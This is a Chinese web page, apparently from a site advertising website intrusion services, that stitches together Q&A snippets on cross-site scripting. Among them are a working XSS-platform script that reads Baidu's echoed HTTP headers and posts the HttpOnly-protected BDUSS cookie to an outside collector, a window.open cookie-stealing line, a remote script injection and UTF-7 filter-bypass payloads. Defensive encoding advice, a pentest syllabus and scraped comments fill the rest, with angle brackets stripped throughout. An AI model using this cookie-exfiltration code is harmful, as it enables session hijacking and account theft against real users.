网站入侵

入侵网站,破解服务,入侵服务,渗透测试,网络安全

xss-labs通关(xss lab)

本文导读目录:

如何通过 xss 获取受 http-only さcookie

XSS获取cookie并利用 获取cookie利用代码cookie.asp xx 把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:10.65.20.196:8080。 XSS构造语句 window.open('10.65.20.196:8080/cookie.

有什么 绕过 htmlentities 进行 xss 攻击的方法吗

函数:htmlentities(string,quotestyle,character-set)

参数二是可选的。

规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号或不成对的单引号。

ENT_QUOTES - 编码双引号和单引号。

ENT_NOQUOTES - 不编码任何引号。

参数三也可选的,是转换的字符集类型。

有这么一种情形:当我们使用这个函数的时候,使用了参数二。设置了过滤掉双引号很单引号这些东西(或许不编码)就容易出现XSS。

如:

?php

echo htmlspecialchars($_GET[url], ENT_QUOTES);

?

替换掉url里面的单引号和双引号,看起来是过滤的不错的,但是如果这个url没有出现单引号或双引号呢?或者双引号和单引号以另外的情况出现呢(二次编码)?

关于二次编码:

scriptalert(document.cookie)/script

如UTF-7编码后的

+ADw-SCRIPT+AD4-alert(document.cookie)+ADw-/SCRIPT+AD4-

最终为:

%2bADw-SCRIPT%2bAD4-alert(document.cookie)%2bADw-%2fSCRIPT%2bAD4-

可以考虑用于对付那些没有设置字符集,并且过滤了 的情况。

如何通过 XSS 获取受 http-only さcookie

该测试页返回了完整的http头,其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段,同时该字段是受http-only保护的,百度SRC之前也因此下调了XSS的评分标准。

02.jpg

这样,我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:

code 区域

var u = 'http://buv.me/index.php?do=apiid={projectId}';

var cr;

if (document.charset) {

cr = document.charset

} else if (document.characterSet) {

cr = document.characterSet

};

function createXmlHttp() {

if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest()

} else {

var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for (var n = 0; n MSXML.length; n++) {

try {

xmlHttp = new ActiveXObject(MSXML[n]);

break

} catch(e) {}

}

}

}

createXmlHttp();

xmlHttp.onreadystatechange = writeSource;

xmlHttp.open("GET", "http://appstest.baidu.com/http/echoheader.php", true);

xmlHttp.send(null);

function postSource(cc) {

createXmlHttp();

url = u;

cc = "mycode=" + cc;

xmlHttp.open("POST", url, true);

xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlHttp.setRequestHeader("Content-length", cc.length);

xmlHttp.setRequestHeader("Connection", "close");

xmlHttp.send(cc)

}

function writeSource() {

if (xmlHttp.readyState == 4) {

var c = new postSource(xmlHttp.responseText)

}

}

由于是用xmlHttpRequest的形式读源码,且 http://appstest.baidu.com/ 的 Access-Control-Allow-Origin 为空,即默认不允许跨域,所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。

我在 http://wooyun.org/bugs/wooyun-2014-051026/trace/e80c9b4ecb9c252d6bdfdb21c335164d 中有提到, http://appstest.baidu.com/abnormalTest/abnormaTest.php?typeName=single 可以自由构造XSS。我们向该页面写入如下代码:

code 区域

titlewooyun.org/title

p超威蓝猫@wooyun.org/p

script src=http://00f.me/XbSWCk/script

如何在浏览器启用XSS筛选器

 从IE8开始就有XSS筛选器,主要用于防御反射型跨站攻击,且是默认开启的。但由于它那暴力的检测方式(正则匹配)经常会影响到网站的正常业务功能,我想受此困扰的人一定不少,所以我建议大家都把它给关了。

如果是站长请使用X-XSS-Protection响应头关闭:

X-XSS-Protection: 0;

X-XSS-Protection 是用于控制IE的XSS筛选器用的HTTP 响应字段头。

如果你没有权利更改网站设置,那么你可以:

打开IE-菜单栏-安全-Internet-自定义级别-脚本-启用XSS筛选器-关闭-确定.

如何正确防御xss攻击

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

新手小白想学习渗透和网络安全,从哪里入手?

基础到入门的学习路线

一、网络安全

网络基础

网络概述

(行业背景+就业方向+课程体系结构)

Vmware

IP地址的概述与应用

DOS命令与批处理

Windows服务安全

用户管理

破解系统用户密码

NTFS权限

文件服务器

DNS服务

DHCP服务

IIS服务

活动目录

域控管理

组策略(一)

组策略(二)

安全策略

PKI与证书服务

windows安全基线

Windows server 2003安全配置基线

阶段综合项目一

以太网交换与路由技术

回顾windows服务

OSI协议簇

交换机的基本原理与配置

IP包头分析与静态路由

分析ARP攻击与欺骗

虚拟局域网VLAN

VTP

单臂路由与DHCP

子网划分VLSM

高级网络技术

回顾

三层交换

ACL-1

ACL-2

网络地址转换

动态路由协议RIP

ipsec VPN

VPN远程访问

网络安全基线

Cisco基础网络设备安全配置基线

安全设备防护

防火墙原理及部署方式

防火墙高级配置

IDS

WAF

阶段综合项目二

二、服务安全

Linux安全运维

Linux操作系统介绍与安装与目录结构分析

Linux系统的基本操作与软件安装

Linux系统下用户以及权限管理

网络配置与日志服务器建立应急思路

建立php主页解析以及主页的访问控制

Nginx服务都建立以及tomcat负载均衡

iptables包过滤与网络地址转换

实用型脚本案例

阶段综合项目三

三、代码安全

前端代码安全

HTML语言

CSS盒子模型

JS概述与变量

JS数据类型

JS函数

程序的流程控制

条件判断与等值判断结构

循环结构

JS数组

数据库安全

sqlserver

access

oracle

mysql

后台代码安全

PHP基础

PHP语法

PHP流程控制与数组

PHP代码审计中常用函数

PHP操作mysql数据库

PHP代码审计(一)

PHP代码审计(二)

Python安全应用

初识python上篇

初识python下篇

基础进阶与对象和数字

字符串列表和元祖

字典条件循环和标准输入输出

错误异常函数基础

函数的高级应用和模块

面向对象编程与组合及派生

正则表达式和爬虫

socket套接字

四、渗透测试

渗透测试导论

渗透测试方法论

法律法规与道德

Web 工作机制

HTTP 协议

Cookie 与session

同源策略

情报收集

DNS

DNS 解析

IP 查询

主机测探与端口扫描

网络漏洞扫描

Web 漏洞扫描

其他工具

口令破解

口令安全威胁

破解方式

windows 口令破解

Linux 口令破解

网络服务口令破解

在线密码查询网站

常见的漏洞攻防

SQL 注入基础

四大基本手法

其他注入手法

SQLmap 的使用

XSS 漏洞概述

XSS 的分类

XSS的构造

XSS 的变形

Shellcode 的调用

XSS 通关挑战

实战:Session 劫持

PHP 代码执行

OS 命令执行

文件上传漏洞原理概述

WebShell 概述

文件上传漏洞的危害

常见的漏洞攻防

PUT 方法上传文件

.htaccess 攻击

图片木马的制作

upload-labs 上传挑战

Web容器解析漏洞

开源编辑器上传漏洞

开源CMS 上传漏洞

PHP 中的文件包含语句

文件包含示例

漏洞原理及特点

Null 字符问题

文件包含漏洞的利用

业务安全概述

业务安全测试流程

业务数据安全

密码找回安全

CSRF

SSRF

提权与后渗透

服务器提权技术

隧道技术

缓冲区溢出原理

Metasploit Framework

前言

urllib2

SQL 注入POC 到EXP

定制EXP

案例:Oracle Weblogic CVE2017-10271 RCE

案例:JBoss AS 6.X 反序列化

五、项目实战

漏洞复现

内网靶机实战

内网攻防对抗

安全服务规范

安全众测项目实战

外网渗透测试实战

六、安全素养

网络安全行业导论

网络安全岗位职责分析

网络安全法认知

网络安全认证

职业人素质

什么是xss攻击?

一、什么是跨站脚本攻击

跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。通常将跨站脚本攻击缩写为XSS。

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

二、跨站脚本攻击的种类

从攻击代码的工作方式可以分为三个类型:

1、持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

2、非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

3、DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

三、跨站脚本攻击的手段和目的

常用的XSS攻击手段和目的有:

1、盗用cookie,获取敏感信息。

2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。

3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

四、跨站脚本攻击的防御

XSS攻击主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序员较高的编程能力和安全意识,当然安全的软件开发流程及其他一些编程安全原则也可以大大减少XSS安全漏洞的发生。这些防范XSS漏洞原则包括:

1、不信任用户提交的任何内容,对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、REFER、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。尽量采用POST而非GET提交表单;对“”,“”,“;”,“””等字符做过滤;任何内容输出到页面之前都必须加以en-code,避免不小心把htmltag显示出来。

2、实现Session 标记(session tokens)、CAPTCHA(验证码)系统或者HTTP引用头检查,以防功能被第三方网站所执行,对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。

3、cookie 防盗。避免直接在cookie中泄露用户隐私,例如email、密码,等等;通过使cookie和系统IP绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,很难拿来直接进行重放攻击。

4、确认接收的内容被妥善地规范化,仅包含最小的、安全的Tag(没有JavaScript),去掉任何对远程内容的引用(尤其是样式表和JavaScript),使用HTTPonly的cookie。

在xss中各种过滤的情况,在什么地方可能存在注入点

XSS注入的本质就是:某网页中根据用户的输入,不期待地生成了可执行的js代码,并且js得到了浏览器的执行.意思是说,发给浏览器的字符串中,包含了一段非法的js代码,而这段代码跟用户的输入有关.常见的XSS注入防护,可以通过简单的htmlspecialchars(转义HTML特殊字符),strip_tags(清除HTML标签)来解决,但是,还有一些隐蔽的XSS注入不能通过这两个方法来解决,而且,有时业务需要不允许清除HTML标签和特殊字符.下面列举几种隐蔽的XSS注入方法:IE6/7UTF7XSS漏洞攻击隐蔽指数:5伤害指数:5这个漏洞非常隐蔽,因为它让出现漏洞的网页看起来只有英文字母(ASCII字符),并没有非法字符,htmlspecialchars和strip_tags函数对这种攻击没有作用.不过,这个攻击只对IE6/IE7起作用,从IE8起微软已经修复了.你可以把下面这段代码保存到一个文本文件中(前面不要有空格和换行),然后用IE6打开试试(没有恶意代码,只是一个演示):+/v8+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-最容易中招的就是JSONP的应用了,解决方法是把非字母和数字下划线的字符全部过滤掉.还有一种方法是在网页开始输出空格或者换行,这样,UTF7-XSS就不能起作用了.因为只对非常老版本的IE6/IE7造成伤害,对Firefox/Chrome没有伤害,所以伤害指数只能给4颗星.参考资料:UTF7-XSS不正确地拼接JavaScript/JSON代码段隐蔽指数:5伤害指数:5Web前端程序员经常在PHP代码或者某些模板语言中,动态地生成一些JavaScript代码片段,例如最常见的:vara='!--?phpechohtmlspecialchars($name);?';不想,$name是通过用户输入的,当用户输入a’;alert(1);时,就形成了非法的JavaScript代码,也就是XSS注入了.只需要把上面的代码改成:vara=

  • 评论列表:
  •  孤央孤望
     发布于 2022-05-31 06:26:37  回复该评论
  • 三也可选的,是转换的字符集类型。有这么一种情形:当我们使用这个函数的时候,使用了参数二。设置了过滤掉双引号很单引号这些东西(或许不编码)就容易出现XSS。如:?phpecho htmlspecialchars($_GET[url], ENT_QUOTES);?替换掉url里面的单引
  •  断渊南忆
     发布于 2022-05-31 02:31:10  回复该评论
  • 有这么一种情形:当我们使用这个函数的时候,使用了参数二。设置了过滤掉双引号很单引号这些东西(或许不编码)就容易出现XSS。如:?phpecho htmlspecialchars($_GET[url], ENT_QUOTES);?替换掉url里面的单引号和双引号,看起来是过滤的不错的,但是如
  •  森槿妄愿
     发布于 2022-05-31 12:10:35  回复该评论
  • et};function createXmlHttp() { if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest() } else { va

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.